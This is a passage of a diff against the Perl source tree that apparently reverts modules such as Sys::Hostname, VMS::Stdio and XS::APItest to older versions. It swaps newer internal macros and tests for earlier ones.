endif +# endif +# ifdef BUGGY_MSC +# pragma function(memcmp) +# endif +#else +# ifndef memcmp + /* maybe we should have included the full embedding header... */ +# define memcmp Perl_my_memcmp +#ifndef __cplusplus + extern int memcmp proto((char*, char*, int)); +#endif +# endif +#endif /* HAS_MEMCMP */ + +#ifndef HAS_BCMP +# ifndef bcmp +# define bcmp(s1,s2,l) memcmp(s1,s2,l) +# endif +#endif /* !HAS_BCMP */ + +#ifdef HAS_MEMCMP +# define memNE(s1,s2,l) (memcmp(s1,s2,l)) +# define memEQ(s1,s2,l) (!memcmp(s1,s2,l)) +#else +# define memNE(s1,s2,l) (bcmp(s1,s2,l)) +# define memEQ(s1,s2,l) (!bcmp(s1,s2,l)) +#endif #ifdef I_NETINET_IN # ifdef VMS diff --git a/ext/Sys-Hostname/Hostname.pm b/ext/Sys-Hostname/Hostname.pm index 8b5dde144572..42e9293c3fa3 100644 --- a/ext/Sys-Hostname/Hostname.pm +++ b/ext/Sys-Hostname/Hostname.pm @@ -11,12 +11,10 @@ our @EXPORT = qw/ hostname /; our $VERSION; -use warnings (); - our $host; BEGIN { - $VERSION = '1.22'; + $VERSION = '1.20'; { local $SIG{__DIE__}; eval { @@ -29,7 +27,6 @@ BEGIN { sub hostname { - @_ and warnings::warnif("deprecated", "hostname() doesn't accept any arguments. This will become fatal in Perl 5.32"); # method 1 - we already know it return $host if defined $host; diff --git a/ext/Sys-Hostname/t/Hostname.t b/ext/Sys-Hostname/t/Hostname.t index a8c259d7c905..40352ba2377a 100644 --- a/ext/Sys-Hostname/t/Hostname.t +++ b/ext/Sys-Hostname/t/Hostname.t @@ -10,28 +10,14 @@ BEGIN { use Sys::Hostname; -use Test::More tests => 4; +eval { + $host = hostname; +}; -SKIP: -{ - eval { - $host = hostname; - }; - skip "No hostname available", 1 - if $@ =~ /Cannot get host name/; - isnt($host, undef, "got a hostname"); -} - -{ - use warnings; - my $warn; - local $SIG{__WARN__} = sub { $warn = "@_" }; - eval { hostname("dummy") }; - ok($warn, "warns with an argument"); - like($warn, qr/hostname\(\) doesn't accept any arguments/, - "appropriate message"); - no warnings "deprecated"; - undef $warn; - eval { hostname("dummy") }; - is($warn, undef, "no warning when disabled"); +if ($@) { + print "1..0\n" if $@ =~ /Cannot get host name/; +} else { + print "1..1\n"; + print "# \$host = '$host'\n"; + print "ok 1\n"; } diff --git a/ext/VMS-DCLsym/DCLsym.pm b/ext/VMS-DCLsym/DCLsym.pm index ddee77fd3230..6990e2af5a6a 100644 --- a/ext/VMS-DCLsym/DCLsym.pm +++ b/ext/VMS-DCLsym/DCLsym.pm @@ -2,11 +2,12 @@ package VMS::DCLsym; use Carp; use DynaLoader; +use vars qw( @ISA $VERSION ); use strict; # Package globals -our @ISA = ( 'DynaLoader' ); -our $VERSION = '1.09'; # remember to update version in POD! +@ISA = ( 'DynaLoader' ); +$VERSION = '1.08'; my(%Locsyms) = ( ':ID' => 'LOCAL' ); my(%Gblsyms) = ( ':ID' => 'GLOBAL'); my $DoCache = 1; @@ -264,7 +265,7 @@ Charles Bailey bailey@newman.upenn.edu =head1 VERSION -1.09 +1.05 12-Feb-2011 =head1 BUGS diff --git a/ext/VMS-Stdio/Stdio.pm b/ext/VMS-Stdio/Stdio.pm index 02ba8668ed41..4d05994279ef 100644 --- a/ext/VMS-Stdio/Stdio.pm +++ b/ext/VMS-Stdio/Stdio.pm @@ -8,17 +8,18 @@ package VMS::Stdio; require 5.002; +use vars qw( $VERSION @EXPORT @EXPORT_OK %EXPORT_TAGS @ISA ); use Carp '&croak'; use DynaLoader (); use Exporter (); - -our $VERSION = '2.44'; -our @ISA = qw( Exporter DynaLoader IO::File ); -our @EXPORT = qw( &O_APPEND &O_CREAT &O_EXCL &O_NDELAY &O_NOWAIT + +$VERSION = '2.41'; +@ISA = qw( Exporter DynaLoader IO::File ); +@EXPORT = qw( &O_APPEND &O_CREAT &O_EXCL &O_NDELAY &O_NOWAIT &O_RDONLY &O_RDWR &O_TRUNC &O_WRONLY ); -our @EXPORT_OK = qw( &binmode &flush &getname &remove &rewind &sync &setdef &tmpnam +@EXPORT_OK = qw( &binmode &flush &getname &remove &rewind &sync &setdef &tmpnam &vmsopen &vmssysopen &waitfh &writeof ); -our %EXPORT_TAGS = ( CONSTANTS => [ qw( &O_APPEND &O_CREAT &O_EXCL &O_NDELAY +%EXPORT_TAGS = ( CONSTANTS => [ qw( &O_APPEND &O_CREAT &O_EXCL &O_NDELAY &O_NOWAIT &O_RDONLY &O_RDWR &O_TRUNC &O_WRONLY ) ], FUNCTIONS => [ qw( &binmode &flush &getname &remove &rewind @@ -47,6 +48,30 @@ sub AUTOLOAD { sub DESTROY { close($_[0]); } +################################################################################ +# Intercept calls to old VMS::stdio package, complain, and hand off +# This will be removed in a future version of VMS::Stdio + +package VMS::stdio; + +sub AUTOLOAD { + my($func) = $AUTOLOAD; + $func =~ s/.*:://; + # Cheap trick: we know DynaLoader has required Carp.pm + Carp::carp("Old package VMS::stdio is now VMS::Stdio; please update your code"); + if ($func eq 'vmsfopen') { + Carp::carp("Old function &vmsfopen is now &vmsopen"); + goto &VMS::Stdio::vmsopen; + } + elsif ($func eq 'fgetname') { + Carp::carp("Old function &fgetname is now &getname"); + goto &VMS::Stdio::getname; + } + else { goto &{"VMS::Stdio::$func"}; } +} + +package VMS::Stdio; # in case we ever use AutoLoader + 1; __END__ @@ -113,11 +138,13 @@ is done to save startup time for users who don't wish to use the IO::File methods. B In order to conform to naming conventions for Perl -extensions and functions, the name of this package was -changed to from VMS::stdio to VMS::Stdio as of Perl 5.002, and the names of some -routines were changed. For many releases, calls to the old VMS::stdio routines -would generate a warning, and then route to the equivalent -VMS::Stdio function. This compatibility interface has now been removed. +extensions and functions, the name of this package has been +changed to VMS::Stdio as of Perl 5.002, and the names of some +routines have been changed. Calls to the old VMS::stdio routines +will generate a warning, and will be routed to the equivalent +VMS::Stdio function. This compatibility interface will be +removed in a future release of this extension, so please +update your code to use the new routines. =over 4 diff --git a/ext/VMS-Stdio/Stdio.xs b/ext/VMS-Stdio/Stdio.xs index 64e1ef344b1b..144f9370cc77 100644 --- a/ext/VMS-Stdio/Stdio.xs +++ b/ext/VMS-Stdio/Stdio.xs @@ -4,9 +4,6 @@ * */ -/* We now depend on handy.h macros that are not public API. */ -#define PERL_EXT - #include "EXTERN.h" #include "perl.h" #include "XSUB.h" @@ -18,7 +15,7 @@ static bool constant(char *name, IV *pval) { - if (! strBEGINs(name, "O_")) return FALSE; + if (strnNE(name, "O_", 2)) return FALSE; if (strEQ(name, "O_APPEND")) #ifdef O_APPEND diff --git a/ext/XS-APItest/APItest.pm b/ext/XS-APItest/APItest.pm index 61531fc97a4f..1be011660bed 100644 --- a/ext/XS-APItest/APItest.pm +++ b/ext/XS-APItest/APItest.pm @@ -5,7 +5,7 @@ use strict; use warnings; use Carp; -our $VERSION = '0.99'; +our $VERSION = '0.88'; require XSLoader; diff --git a/ext/XS-APItest/APItest.xs b/ext/XS-APItest/APItest.xs index a30659f14f94..e3e1593dbfdc 100644 --- a/ext/XS-APItest/APItest.xs +++ b/ext/XS-APItest/APItest.xs @@ -9,19 +9,13 @@ #include "EXTERN.h" #include "perl.h" #include "XSUB.h" - -typedef FILE NativeFile; - #include "fakesdio.h" /* Causes us to use PerlIO below */ typedef SV *SVREF; typedef PTR_TBL_t *XS__APItest__PtrTable; -typedef PerlIO * InputStream; -typedef PerlIO * OutputStream; #define croak_fail() croak("fail at " __FILE__ " line %d", __LINE__) -#define croak_fail_nep(h, w) croak("fail %p!=%p at " __FILE__ " line %d", (h), (w), __LINE__) -#define croak_fail_nei(h, w) croak("fail %d!=%d at " __FILE__ " line %d", (int)(h), (int)(w), __LINE__) +#define croak_fail_ne(h, w) croak("fail %p!=%p at " __FILE__ " line %d", (h), (w), __LINE__) #ifdef EBCDIC @@ -203,7 +197,7 @@ test_freeent(freeent_function *f) { i = 0; do { - mXPUSHu(results[i]); + mPUSHu(results[i]); } while (++i < (int)(sizeof(results)/sizeof(results[0]))); /* Goodbye to our extra reference. */ @@ -1166,88 +1160,88 @@ static int THX_keyword_active(pTHX_ SV *hintkey_sv) static int my_keyword_plugin(pTHX_ char *keyword_ptr, STRLEN keyword_len, OP **op_ptr) { - if (memEQs(keyword_ptr, keyword_len, "rpn") && + if(keyword_len == 3 && strEQs(keyword_ptr, "rpn") && keyword_active(hintkey_rpn_sv)) { *op_ptr = parse_keyword_rpn(); return KEYWORD_PLUGIN_EXPR; - } else if (memEQs(keyword_ptr, keyword_len, "calcrpn") && + } else if(keyword_len == 7 && strEQs(keyword_ptr, "calcrpn") && keyword_active(hintkey_calcrpn_sv)) { *op_ptr = parse_keyword_calcrpn(); return KEYWORD_PLUGIN_STMT; - } else if (memEQs(keyword_ptr, keyword_len, "stufftest") && + } else if(keyword_len == 9 && strEQs(keyword_ptr, "stufftest") && keyword_active(hintkey_stufftest_sv)) { *op_ptr = parse_keyword_stufftest(); return KEYWORD_PLUGIN_STMT; - } else if (memEQs(keyword_ptr, keyword_len, "swaptwostmts") && + } else if(keyword_len == 12 && + strEQs(keyword_ptr, "swaptwostmts") && keyword_active(hintkey_swaptwostmts_sv)) { *op_ptr = parse_keyword_swaptwostmts(); return KEYWORD_PLUGIN_STMT; - } else if (memEQs(keyword_ptr, keyword_len, "looprest") && + } else if(keyword_len == 8 && strEQs(keyword_ptr, "looprest") && keyword_active(hintkey_looprest_sv)) { *op_ptr = parse_keyword_looprest(); return KEYWORD_PLUGIN_STMT; - } else if (memEQs(keyword_ptr, keyword_len, "scopelessblock") && + } else if(keyword_len == 14 && strEQs(keyword_ptr, "scopelessblock") && keyword_active(hintkey_scopelessblock_sv)) { *op_ptr = parse_keyword_scopelessblock(); return KEYWORD_PLUGIN_STMT; - } else if (memEQs(keyword_ptr, keyword_len, "stmtasexpr") && + } else if(keyword_len == 10 && strEQs(keyword_ptr, "stmtasexpr") && keyword_active(hintkey_stmtasexpr_sv)) { *op_ptr = parse_keyword_stmtasexpr(); return KEYWORD_PLUGIN_EXPR; - } else if (memEQs(keyword_ptr, keyword_len, "stmtsasexpr") && + } else if(keyword_len == 11 && strEQs(keyword_ptr, "stmtsasexpr") && keyword_active(hintkey_stmtsasexpr_sv)) { *op_ptr = parse_keyword_stmtsasexpr(); return KEYWORD_PLUGIN_EXPR; - } else if (memEQs(keyword_ptr, keyword_len, "loopblock") && + } else if(keyword_len == 9 && strEQs(keyword_ptr, "loopblock") && keyword_active(hintkey_loopblock_sv)) { *op_ptr = parse_keyword_loopblock(); return KEYWORD_PLUGIN_STMT; - } else if (memEQs(keyword_ptr, keyword_len, "blockasexpr") && + } else if(keyword_len == 11 && strEQs(keyword_ptr, "blockasexpr") && keyword_active(hintkey_blockasexpr_sv)) { *op_ptr = parse_keyword_blockasexpr(); return KEYWORD_PLUGIN_EXPR; - } else if (memEQs(keyword_ptr, keyword_len, "swaplabel") && + } else if(keyword_len == 9 && strEQs(keyword_ptr, "swaplabel") && keyword_active(hintkey_swaplabel_sv)) { *op_ptr = parse_keyword_swaplabel(); return KEYWORD_PLUGIN_STMT; - } else if (memEQs(keyword_ptr, keyword_len, "labelconst") && + } else if(keyword_len == 10 && strEQs(keyword_ptr, "labelconst") && keyword_active(hintkey_labelconst_sv)) { *op_ptr = parse_keyword_labelconst(); return KEYWORD_PLUGIN_EXPR; - } else if (memEQs(keyword_ptr, keyword_len, "arrayfullexpr") && + } else if(keyword_len == 13 && strEQs(keyword_ptr, "arrayfullexpr") && keyword_active(hintkey_arrayfullexpr_sv)) { *op_ptr = parse_keyword_arrayfullexpr(); return KEYWORD_PLUGIN_EXPR; - } else if (memEQs(keyword_ptr, keyword_len, "arraylistexpr") && + } else if(keyword_len == 13 && strEQs(keyword_ptr, "arraylistexpr") && keyword_active(hintkey_arraylistexpr_sv)) { *op_ptr = parse_keyword_arraylistexpr(); return KEYWORD_PLUGIN_EXPR; - } else if (memEQs(keyword_ptr, keyword_len, "arraytermexpr") && + } else if(keyword_len == 13 && strEQs(keyword_ptr, "arraytermexpr") && keyword_active(hintkey_arraytermexpr_sv)) { *op_ptr = parse_keyword_arraytermexpr(); return KEYWORD_PLUGIN_EXPR; - } else if (memEQs(keyword_ptr, keyword_len, "arrayarithexpr") && + } else if(keyword_len == 14 && strEQs(keyword_ptr, "arrayarithexpr") && keyword_active(hintkey_arrayarithexpr_sv)) { *op_ptr = parse_keyword_arrayarithexpr(); return KEYWORD_PLUGIN_EXPR; - } else if (memEQs(keyword_ptr, keyword_len, "arrayexprflags") && + } else if(keyword_len == 14 && strEQs(keyword_ptr, "arrayexprflags") && keyword_active(hintkey_arrayexprflags_sv)) { *op_ptr = parse_keyword_arrayexprflags(); return KEYWORD_PLUGIN_EXPR; - } else if (memEQs(keyword_ptr, keyword_len, "DEFSV") && + } else if(keyword_len == 5 && strEQs(keyword_ptr, "DEFSV") && keyword_active(hintkey_DEFSV_sv)) { *op_ptr = parse_keyword_DEFSV(); return KEYWORD_PLUGIN_EXPR; - } else if (memEQs(keyword_ptr, keyword_len, "with_vars") && + } else if(keyword_len == 9 && strEQs(keyword_ptr, "with_vars") && keyword_active(hintkey_with_vars_sv)) { *op_ptr = parse_keyword_with_vars(); return KEYWORD_PLUGIN_STMT; - } else if (memEQs(keyword_ptr, keyword_len, "join_with_space") && + } else if(keyword_len == 15 && strEQs(keyword_ptr, "join_with_space") && keyword_active(hintkey_join_with_space_sv)) { *op_ptr = parse_join_with_space(); return KEYWORD_PLUGIN_EXPR; } else { - assert(next_keyword_plugin != my_keyword_plugin); return next_keyword_plugin(aTHX_ keyword_ptr, keyword_len, op_ptr); } } @@ -1379,77 +1373,16 @@ bytes_cmp_utf8(bytes, utf8) OUTPUT: RETVAL -AV * -test_utf8_to_bytes(bytes, len) - U8 * bytes - STRLEN len - PREINIT: - char * ret; - CODE: - RETVAL = newAV(); - sv_2mortal((SV*)RETVAL); - - ret = (char *) utf8_to_bytes(bytes, &len); - av_push(RETVAL, newSVpv(ret, 0)); - - /* utf8_to_bytes uses (STRLEN)-1 to signal errors, and we want to - * return that as -1 to perl, so cast to SSize_t in case - * sizeof(IV) > sizeof(STRLEN) */ - av_push(RETVAL, newSViv((SSize_t)len)); - av_push(RETVAL, newSVpv((const char *) bytes, 0)); - - OUTPUT: - RETVAL - -AV * -test_utf8n_to_uvchr_msgs(s, len, flags) - char *s - STRLEN len - U32 flags - PREINIT: - STRLEN retlen; - UV ret; - U32 errors; - AV *msgs = NULL; - - CODE: - RETVAL = newAV(); - sv_2mortal((SV*)RETVAL); - - ret = utf8n_to_uvchr_msgs((U8*) s, - len, - &retlen, - flags, - &errors, - &msgs); - - /* Returns the return value in [0]; in [1], in [2] */ - av_push(RETVAL, newSVuv(ret)); - if (retlen == (STRLEN) -1) { - av_push(RETVAL, newSViv(-1)); - } - else { - av_push(RETVAL, newSVuv(retlen)); - } - av_push(RETVAL, newSVuv(errors)); - - /* And any messages in [3] */ - if (msgs) { - av_push(RETVAL, newRV_noinc((SV*)msgs)); - } - - OUTPUT: - RETVAL - AV * test_utf8n_to_uvchr_error(s, len, flags) - char *s - STRLEN len - U32 flags + SV *s + SV *len + SV *flags PREINIT: STRLEN retlen; UV ret; + STRLEN slen; U32 errors; CODE: @@ -1462,10 +1395,10 @@ test_utf8n_to_uvchr_error(s, len, flags) RETVAL = newAV(); sv_2mortal((SV*)RETVAL); - ret = utf8n_to_uvchr_error((U8*) s, - len, + ret = utf8n_to_uvchr_error((U8*) SvPV(s, slen), + SvUV(len), &retlen, - flags, + SvUV(flags), &errors); /* Returns the return value in [0]; in [1], in [2] */ @@ -1488,6 +1421,7 @@ test_valid_utf8_to_uvchr(s) PREINIT: STRLEN retlen; UV ret; + STRLEN slen; CODE: /* Call utf8n_to_uvchr() with the inputs. It always asks for the @@ -1498,7 +1432,8 @@ test_valid_utf8_to_uvchr(s) RETVAL = newAV(); sv_2mortal((SV*)RETVAL); - ret = valid_utf8_to_uvchr((U8*) SvPV_nolen(s), &retlen); + ret + = valid_utf8_to_uvchr((U8*) SvPV(s, slen), &retlen); /* Returns the return value in [0]; in [1] */ av_push(RETVAL, newSVuv(ret)); @@ -1513,7 +1448,7 @@ test_uvchr_to_utf8_flags(uv, flags) SV *uv SV *flags PREINIT: - U8 dest[UTF8_MAXBYTES + 1]; + U8 dest[UTF8_MAXBYTES]; U8 *ret; CODE: @@ -1527,36 +1462,6 @@ test_uvchr_to_utf8_flags(uv, flags) OUTPUT: RETVAL -AV * -test_uvchr_to_utf8_flags_msgs(uv, flags) - - SV *uv - SV *flags - PREINIT: - U8 dest[UTF8_MAXBYTES + 1]; - U8 *ret; - - CODE: - HV *msgs = NULL; - RETVAL = newAV(); - sv_2mortal((SV*)RETVAL); - - ret = uvchr_to_utf8_flags_msgs(dest, SvUV(uv), SvUV(flags), &msgs); - - if (ret) { - av_push(RETVAL, newSVpvn((char *) dest, ret - dest)); - } - else { - av_push(RETVAL, &PL_sv_undef); - } - - if (msgs) { - av_push(RETVAL, newRV_noinc((SV*)msgs)); - } - - OUTPUT: - RETVAL - MODULE = XS::APItest:Overload PACKAGE = XS::APItest::Overload void @@ -2409,7 +2314,6 @@ PREINIT: I32 retcnt; SV * errsv; char * errstr; - STRLEN errlen; SV * miscsv = sv_newmortal(); HV * hv = (HV*)sv_2mortal((SV*)newHV()); CODE: @@ -2435,24 +2339,17 @@ CODE: only current internal behavior, these tests can be changed in the future if necessery */ PUSHMARK(SP); - retcnt = call_sv(&PL_sv_yes, G_EVAL); + retcnt = call_sv(&PL_sv_yes, 0); /* does nothing */ SPAGAIN; SP -= retcnt; - errsv = ERRSV; - errstr = SvPV(errsv, errlen); - if(memBEGINs(errstr, errlen, "Undefined subroutine &main::1 called at")) { - PUSHMARK(SP); - retcnt = call_sv((SV*)i_sub, 0); /* call again to increase counter */ - SPAGAIN; - SP -= retcnt; - } PUSHMARK(SP); retcnt = call_sv(&PL_sv_no, G_EVAL); SPAGAIN; SP -= retcnt; errsv = ERRSV; - errstr = SvPV(errsv, errlen); - if(memBEGINs(errstr, errlen, "Undefined subroutine &main:: called at")) { + errstr = SvPV_nolen(errsv); + if(strnEQ(errstr, "Undefined subroutine &main:: called at", + sizeof("Undefined subroutine &main:: called at") - 1)) { PUSHMARK(SP); retcnt = call_sv((SV*)i_sub, 0); /* call again to increase counter */ SPAGAIN; @@ -2463,8 +2360,9 @@ CODE: SPAGAIN; SP -= retcnt; errsv = ERRSV; - errstr = SvPV(errsv, errlen); - if(memBEGINs(errstr, errlen, "Can't use an undefined value as a subroutine reference at")) { + errstr = SvPV_nolen(errsv); + if(strnEQ(errstr, "Can't use an undefined value as a subroutine reference at", + sizeof("Can't use an undefined value as a subroutine reference at") - 1)) { PUSHMARK(SP); retcnt = call_sv((SV*)i_sub, 0); /* call again to increase counter */ SPAGAIN; @@ -2475,8 +2373,9 @@ CODE: SPAGAIN; SP -= retcnt; errsv = ERRSV; - errstr = SvPV(errsv, errlen); - if(memBEGINs(errstr, errlen, "Not a CODE reference at")) { + errstr = SvPV_nolen(errsv); + if(strnEQ(errstr, "Not a CODE reference at", + sizeof("Not a CODE reference at") - 1)) { PUSHMARK(SP); retcnt = call_sv((SV*)i_sub, 0); /* call again to increase counter */ SPAGAIN; @@ -2990,7 +2889,7 @@ utf16_to_utf8 (sv, ...) len = SvUV(ST(1)); } /* Mortalise this right now, as we'll be testing croak()s */ - dest = sv_2mortal(newSV(len * 2 + 1)); + dest = sv_2mortal(newSV(len * 3 / 2 + 1)); if (ix) { utf16_to_utf8_reversed(source, (U8 *)SvPVX(dest), len, &got); } else { @@ -3189,60 +3088,34 @@ test_cv_getset_call_checker() CV *troc_cv, *tsh_cv; Perl_call_checker ckfun; SV *ckobj; - U32 ckflags; CODE: -#define check_cc(cv, xckfun, xckobj, xckflags) \ +#define check_cc(cv, xckfun, xckobj) \ do { \ cv_get_call_checker((cv), &ckfun, &ckobj); \ - if (ckfun != (xckfun)) croak_fail_nep(FPTR2DPTR(void *, ckfun), xckfun); \ - if (ckobj != (xckobj)) croak_fail_nep(FPTR2DPTR(void *, ckobj), xckobj); \ - cv_get_call_checker_flags((cv), CALL_CHECKER_REQUIRE_GV, &ckfun, &ckobj, &ckflags); \ - if (ckfun != (xckfun)) croak_fail_nep(FPTR2DPTR(void *, ckfun), xckfun); \ - if (ckobj != (xckobj)) croak_fail_nep(FPTR2DPTR(void *, ckobj), xckobj); \ - if (ckflags != CALL_CHECKER_REQUIRE_GV) croak_fail_nei(ckflags, CALL_CHECKER_REQUIRE_GV); \ - cv_get_call_checker_flags((cv), 0, &ckfun, &ckobj, &ckflags); \ - if (ckfun != (xckfun)) croak_fail_nep(FPTR2DPTR(void *, ckfun), xckfun); \ - if (ckobj != (xckobj)) croak_fail_nep(FPTR2DPTR(void *, ckobj), xckobj); \ - if (ckflags != (xckflags)) croak_fail_nei(ckflags, (xckflags)); \ + if (ckfun != (xckfun)) croak_fail_ne(FPTR2DPTR(void *, ckfun), xckfun); \ + if (ckobj != (xckobj)) croak_fail_ne(FPTR2DPTR(void *, ckobj), xckobj); \ } while(0) troc_cv = get_cv("XS::APItest::test_rv2cv_op_cv", 0); tsh_cv = get_cv("XS::APItest::test_savehints", 0); - check_cc(troc_cv, Perl_ck_entersub_args_proto_or_list, (SV*)troc_cv, 0); - check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, (SV*)tsh_cv, 0); + check_cc(troc_cv, Perl_ck_entersub_args_proto_or_list, (SV*)troc_cv); + check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, (SV*)tsh_cv); cv_set_call_checker(tsh_cv, Perl_ck_entersub_args_proto_or_list, &PL_sv_yes); - check_cc(troc_cv, Perl_ck_entersub_args_proto_or_list, (SV*)troc_cv, 0); - check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, &PL_sv_yes, CALL_CHECKER_REQUIRE_GV); + check_cc(troc_cv, Perl_ck_entersub_args_proto_or_list, (SV*)troc_cv); + check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, &PL_sv_yes); cv_set_call_checker(troc_cv, THX_ck_entersub_args_scalars, &PL_sv_no); - check_cc(troc_cv, THX_ck_entersub_args_scalars, &PL_sv_no, CALL_CHECKER_REQUIRE_GV); - check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, &PL_sv_yes, CALL_CHECKER_REQUIRE_GV); + check_cc(troc_cv, THX_ck_entersub_args_scalars, &PL_sv_no); + check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, &PL_sv_yes); cv_set_call_checker(tsh_cv, Perl_ck_entersub_args_proto_or_list, (SV*)tsh_cv); - check_cc(troc_cv, THX_ck_entersub_args_scalars, &PL_sv_no, CALL_CHECKER_REQUIRE_GV); - check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, (SV*)tsh_cv, 0); + check_cc(troc_cv, THX_ck_entersub_args_scalars, &PL_sv_no); + check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, (SV*)tsh_cv); cv_set_call_checker(troc_cv, Perl_ck_entersub_args_proto_or_list, (SV*)troc_cv); - check_cc(troc_cv, Perl_ck_entersub_args_proto_or_list, (SV*)troc_cv, 0); - check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, (SV*)tsh_cv, 0); + check_cc(troc_cv, Perl_ck_entersub_args_proto_or_list, (SV*)troc_cv); + check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, (SV*)tsh_cv); if (SvMAGICAL((SV*)troc_cv) || SvMAGIC((SV*)troc_cv)) croak_fail(); if (SvMAGICAL((SV*)tsh_cv) || SvMAGIC((SV*)tsh_cv)) croak_fail(); - cv_set_call_checker_flags(tsh_cv, Perl_ck_entersub_args_proto_or_list, - &PL_sv_yes, 0); - check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, &PL_sv_yes, 0); - cv_set_call_checker_flags(tsh_cv, Perl_ck_entersub_args_proto_or_list, - &PL_sv_yes, CALL_CHECKER_REQUIRE_GV); - check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, &PL_sv_yes, CALL_CHECKER_REQUIRE_GV); - cv_set_call_checker_flags(tsh_cv, Perl_ck_entersub_args_proto_or_list, - (SV*)tsh_cv, 0); - check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, (SV*)tsh_cv, 0); - if (SvMAGICAL((SV*)tsh_cv) || SvMAGIC((SV*)tsh_cv)) croak_fail(); - cv_set_call_checker_flags(tsh_cv, Perl_ck_entersub_args_proto_or_list, - &PL_sv_yes, CALL_CHECKER_REQUIRE_GV); - check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, &PL_sv_yes, CALL_CHECKER_REQUIRE_GV); - cv_set_call_checker_flags(tsh_cv, Perl_ck_entersub_args_proto_or_list, - (SV*)tsh_cv, CALL_CHECKER_REQUIRE_GV); - check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, (SV*)tsh_cv, 0); - if (SvMAGICAL((SV*)tsh_cv) || SvMAGIC((SV*)tsh_cv)) croak_fail(); #undef check_cc void @@ -3440,13 +3313,13 @@ test_coplabel() cop = &PL_compiling; Perl_cop_store_label(aTHX_ cop, "foo", 3, 0); label = Perl_cop_fetch_label(aTHX_ cop, &len, &utf8); - if (strNE(label,"foo")) croak("fail # cop_fetch_label label"); + if (strcmp(label,"foo")) croak("fail # cop_fetch_label label"); if (len != 3) croak("fail # cop_fetch_label len"); if (utf8) croak("fail # cop_fetch_label utf8"); /* SMALL GERMAN UMLAUT A */ Perl_cop_store_label(aTHX_ cop, "fo\xc3\xa4", 4, SVf_UTF8); label = Perl_cop_fetch_label(aTHX_ cop, &len, &utf8); - if (strNE(label,"fo\xc3\xa4")) croak("fail # cop_fetch_label label"); + if (strcmp(label,"fo\xc3\xa4")) croak("fail # cop_fetch_label label"); if (len != 4) croak("fail # cop_fetch_label len"); if (!utf8) croak("fail # cop_fetch_label utf8"); @@ -3577,7 +3450,7 @@ test_op_list() #define iv_op(iv) newSVOP(OP_CONST, 0, newSViv(iv)) #define check_op(o, expect) \ do { \ - if (strNE(test_op_list_describe(o), (expect))) \ + if (strcmp(test_op_list_describe(o), (expect))) \ croak("fail %s %s", test_op_list_describe(o), (expect)); \ } while(0) a = op_append_elem(OP_LIST, NULL, NULL); @@ -3998,7 +3871,8 @@ BOOT: hintkey_DEFSV_sv = newSVpvs_share("XS::APItest/DEFSV"); hintkey_with_vars_sv = newSVpvs_share("XS::APItest/with_vars"); hintkey_join_with_space_sv = newSVpvs_share("XS::APItest/join_with_space"); - wrap_keyword_plugin(my_keyword_plugin, &next_keyword_plugin); + next_keyword_plugin = PL_keyword_plugin; + PL_keyword_plugin = my_keyword_plugin; } void @@ -4376,50 +4250,6 @@ string_without_null(SV *sv) OUTPUT: RETVAL -CV * -get_cv(SV *sv) - CODE: - { - STRLEN len; - const char *s = SvPV(sv, len); - RETVAL = get_cvn_flags(s, len, 0); - } - OUTPUT: - RETVAL - -CV * -get_cv_flags(SV *sv, UV flags) - CODE: - { - STRLEN len; - const char *s = SvPV(sv, len); - RETVAL = get_cvn_flags(s, len, flags); - } - OUTPUT: - RETVAL - -void -unshift_and_set_defav(SV *sv,...) - CODE: - av_unshift(GvAVn(PL_defgv), 1); - av_store(GvAV(PL_defgv), 0, newSVuv(42)); - sv_setuv(sv, 43); - -PerlIO * -PerlIO_stderr() - -OutputStream -PerlIO_stdout() - -InputStream -PerlIO_stdin() - -#undef FILE -#define FILE NativeFile - -FILE * -PerlIO_exportFILE(PerlIO *f, const char *mode) - MODULE = XS::APItest PACKAGE = XS::APItest::AUTOLOADtest int @@ -4584,9 +4414,9 @@ test_isBLANK_LC(UV ord) RETVAL bool -test_isBLANK_utf8(U8 * p, int type) +test_isBLANK_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: /* In this function and those that follow, the boolean 'type' @@ -4603,9 +4433,9 @@ test_isBLANK_utf8(U8 * p, int type) RETVAL bool -test_isBLANK_LC_utf8(U8 * p, int type) +test_isBLANK_LC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -4632,9 +4462,9 @@ test_isVERTWS_uvchr(UV ord) RETVAL bool -test_isVERTWS_utf8(U8 * p, int type) +test_isVERTWS_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -4696,9 +4526,9 @@ test_isUPPER_LC(UV ord) RETVAL bool -test_isUPPER_utf8(U8 * p, int type) +test_isUPPER_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -4711,9 +4541,9 @@ test_isUPPER_utf8(U8 * p, int type) RETVAL bool -test_isUPPER_LC_utf8(U8 * p, int type) +test_isUPPER_LC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -4775,9 +4605,9 @@ test_isLOWER_LC(UV ord) RETVAL bool -test_isLOWER_utf8(U8 * p, int type) +test_isLOWER_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -4790,9 +4620,9 @@ test_isLOWER_utf8(U8 * p, int type) RETVAL bool -test_isLOWER_LC_utf8(U8 * p, int type) +test_isLOWER_LC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -4854,9 +4684,9 